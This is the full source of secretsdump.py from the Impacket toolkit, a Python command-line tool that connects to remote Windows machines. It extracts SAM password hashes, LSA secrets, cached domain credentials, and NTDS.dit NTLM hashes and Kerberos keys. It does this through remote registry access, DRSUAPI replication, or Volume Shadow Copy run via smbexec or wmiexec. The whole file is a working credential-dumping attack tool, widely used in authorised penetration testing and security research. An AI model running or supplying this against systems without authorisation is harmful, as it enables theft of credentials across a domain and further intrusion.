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#!/usr/bin/env python
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: Performs various techniques to dump hashes from the
# remote machine without executing any agent there.
# For SAM and LSA Secrets (including cached creds)
# we try to read as much as we can from the registry
# and then we save the hives in the target system
# (%SYSTEMROOT%\\Temp dir) and read the rest of the
# data from there.
# For NTDS.dit we either:
# a. Get the domain users list and get its hashes
# and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
# call, replicating just the attributes we need.
# b. Extract NTDS.dit via vssadmin executed with the
# smbexec approach.
# It's copied on the temp dir and parsed remotely.
#
# The script initiates the services required for its working
# if they are not available (e.g. Remote Registry, even if it is
# disabled). After the work is done, things are restored to the
# original state.
#
# Author:
# Alberto Solino (@agsolino)
#
# References: Most of the work done by these guys. I just put all
# the pieces together, plus some extra magic.
#
# https://github.com/gentilkiwi/kekeo/tree/master/dcsync
# https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
# https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
# https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
# https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13
# https://code.google.com/p/creddump/
# https://lab.mediaservice.net/code/cachedump.rb
# https://insecurety.net/?p=768
# http://www.beginningtoseethelight.org/ntsecurity/index.htm
# https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf
# https://www.passcape.com/index.php?section=blog&cmd=details&id=15
#
from __future__ import division
from __future__ import print_function
import argparse
import codecs
import logging
import os
import sys
from impacket import version
from impacket.examples import logger
from impacket.examples.utils import parse_target
from impacket.smbconnection import SMBConnection
from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes
from impacket.krb5.keytab import Keytab
try:
input = raw_input
except NameError:
pass
class DumpSecrets:
def __init__(self, remoteName, username='', password='', domain='', options=None):
self.__useVSSMethod = options.use_vss
self.__remoteName = remoteName
self.__remoteHost = options.target_ip
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = options.aesKey
self.__smbConnection = None
self.__remoteOps = None
self.__SAMHashes = None
self.__NTDSHashes = None
self.__LSASecrets = None
self.__systemHive = options.system
self.__bootkey = options.bootkey
self.__securityHive = options.security
self.__samHive = options.sam
self.__ntdsFile = options.ntds
self.__history = options.history
self.__noLMHash = True
self.__isRemote = True
self.__outputFileName = options.outputfile
self.__doKerberos = options.k
self.__justDC = options.just_dc
self.__justDCNTLM = options.just_dc_ntlm
self.__justUser = options.just_dc_user
self.__pwdLastSet = options.pwd_last_set
self.__printUserStatus= options.user_status
self.__resumeFileName = options.resumefile
self.__canProcessSAMLSA = True
self.__kdcHost = options.dc_ip
self.__options = options
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')
def connect(self):
self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
if self.__doKerberos:
self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, self.__kdcHost)
else:
self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def dump(self):
try:
if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
self.__isRemote = False
self.__useVSSMethod = True
if self.__systemHive:
localOperations = LocalOperations(self.__systemHive)
bootKey = localOperations.getBootKey()
if self.__ntdsFile is not None:
# Let's grab target's configuration about LM Hashes storage
self.__noLMHash = localOperations.checkNoLMHashPolicy()
else:
import binascii
bootKey = binascii.unhexlify(self.__bootkey)
else:
self.__isRemote = True
bootKey = None
try:
try:
self.connect()
except Exception as e:
if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
# SMBConnection failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# will work
logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
pass
else:
raise
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
self.__remoteOps.setExecMethod(self.__options.exec_method)
if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
self.__remoteOps.enableRegistry()
bootKey = self.__remoteOps.getBootKey()
# Let's check whether target system stores LM Hashes
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
except Exception as e:
self.__canProcessSAMLSA = False
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
and self.__doKerberos is True:
# Giving some hints here when SPN target name validation is set to something different to Off
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/
logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')
else:
logging.error('RemoteOperations failed: %s' % str(e))
# If RemoteOperations succeeded, then we can extract SAM and LSA
if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
try:
if self.__isRemote is True:
SAMFileName = self.__remoteOps.saveSAM()
else:
SAMFileName = self.__samHive
self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)
self.__SAMHashes.dump()
if self.__outputFileName is not None:
self.__SAMHashes.export(self.__outputFileName)
except Exception as e:
logging.error('SAM hashes extraction failed: %s' % str(e))
try:
if self.__isRemote is True:
SECURITYFileName = self.__remoteOps.saveSECURITY()
else:
SECURITYFileName = self.__securityHive
self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps,
isRemote=self.__isRemote, history=self.__history)
self.__LSASecrets.dumpCachedHashes()
if self.__outputFileName is not None:
self.__LSASecrets.exportCached(self.__outputFileName)
self.__LSASecrets.dumpSecrets()
if self.__outputFileName is not None:
self.__LSASecrets.exportSecrets(self.__outputFileName)
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error('LSA hashes extraction failed: %s' % str(e))
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
if self.__isRemote is True:
if self.__useVSSMethod and self.__remoteOps is not None:
NTDSFileName = self.__remoteOps.saveNTDS()
else:
NTDSFileName = None
else:
NTDSFileName = self.__ntdsFile
self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
outputFileName=self.__outputFileName, justUser=self.__justUser,
printUserStatus= self.__printUserStatus)
try:
self.__NTDSHashes.dump()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
resumeFile = self.__NTDSHashes.getResumeSessionFile()
if resumeFile is not None:
os.unlink(resumeFile)
logging.error(e)
if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0:
logging.info("You just got that error because there might be some duplicates of the same name. "
"Try specifying the domain name for the user as well. It is important to specify it "
"in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
elif self.__useVSSMethod is False:
logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
self.cleanup()
except (Exception, KeyboardInterrupt) as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(e)
if self.__NTDSHashes is not None:
if isinstance(e, KeyboardInterrupt):
while True:
answer = input("Delete resume session file? [y/N] ")
if answer.upper() == '':
answer = 'N'
break
elif answer.upper() == 'Y':
answer = 'Y'
break
elif answer.upper() == 'N':
answer = 'N'
break
if answer == 'Y':
resumeFile = self.__NTDSHashes.getResumeSessionFile()
if resumeFile is not None:
os.unlink(resumeFile)
try:
self.cleanup()
except:
pass
def cleanup(self):
logging.info('Cleaning up... ')
if self.__remoteOps:
self.__remoteOps.finish()
if self.__SAMHashes:
self.__SAMHashes.finish()
if self.__LSASecrets:
self.__LSASecrets.finish()
if self.__NTDSHashes:
self.__NTDSHashes.finish()
# Process command-line arguments.
if __name__ == '__main__':
# Explicitly changing the stdout encoding format
if sys.stdout.encoding is None:
# Output is redirected to a file
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
print(version.BANNER)
parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from "
"the remote machine without executing any agent there.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address> or LOCAL'
' (if you want to parse local files)')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-system', action='store', help='SYSTEM hive to parse')
parser.add_argument('-bootkey', action='store', help='bootkey for SYSTEM hive')
parser.add_argument('-security', action='store', help='SECURITY hive to parse')
parser.add_argument('-sam', action='store', help='SAM hive to parse')
parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse')
parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only '
'available to DRSUAPI approach). This file will also be used to keep updating the session\'s '
'state')
parser.add_argument('-outputfile', action='store',
help='base output filename. Extensions will be added for sam, secrets, cached and ntds')
parser.add_argument('-use-vss', action='store_true', default=False,
help='Use the VSS method insead of default DRSUAPI')
parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec '
'method to use at target (only when using -use-vss). Default: smbexec')
group = parser.add_argument_group('display options')
group.add_argument('-just-dc-user', action='store', metavar='USERNAME',
help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. '
'Implies also -just-dc switch')
group.add_argument('-just-dc', action='store_true', default=False,
help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)')
group.add_argument('-just-dc-ntlm', action='store_true', default=False,
help='Extract only NTDS.DIT data (NTLM hashes only)')
group.add_argument('-pwd-last-set', action='store_true', default=False,
help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data')
group.add_argument('-user-status', action='store_true', default=False,
help='Display whether or not the user is disabled')
group.add_argument('-history', action='store_true', help='Dump password history, and LSA secrets OldVal')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use'
' the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication'
' (128 or 256 bits)')
group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
# Init the example's logger theme
logger.init(options.ts)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
domain, username, password, remoteName = parse_target(options.target)
if options.just_dc_user is not None:
if options.use_vss is True:
logging.error('-just-dc-user switch is not supported in VSS mode')
sys.exit(1)
elif options.resumefile is not None:
logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch')
sys.exit(1)
elif remoteName.upper() == 'LOCAL' and username == '':
logging.error('-just-dc-user not compatible in LOCAL mode')
sys.exit(1)
else:
# Having this switch on implies not asking for anything else.
options.just_dc = True
if options.use_vss is True and options.resumefile is not None:
logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode')
sys.exit(1)
if remoteName.upper() == 'LOCAL' and username == '' and options.resumefile is not None:
logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode')
sys.exit(1)
if remoteName.upper() == 'LOCAL' and username == '':
if options.system is None and options.bootkey is None:
logging.error('Either the SYSTEM hive or bootkey is required for local parsing, check help')
sys.exit(1)
else:
if options.target_ip is None:
options.target_ip = remoteName
if domain is None:
domain = ''
if options.keytab is not None:
Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)
options.k = True
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
dumper = DumpSecrets(remoteName, username, password, domain, options)
try:
dumper.dump()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(e)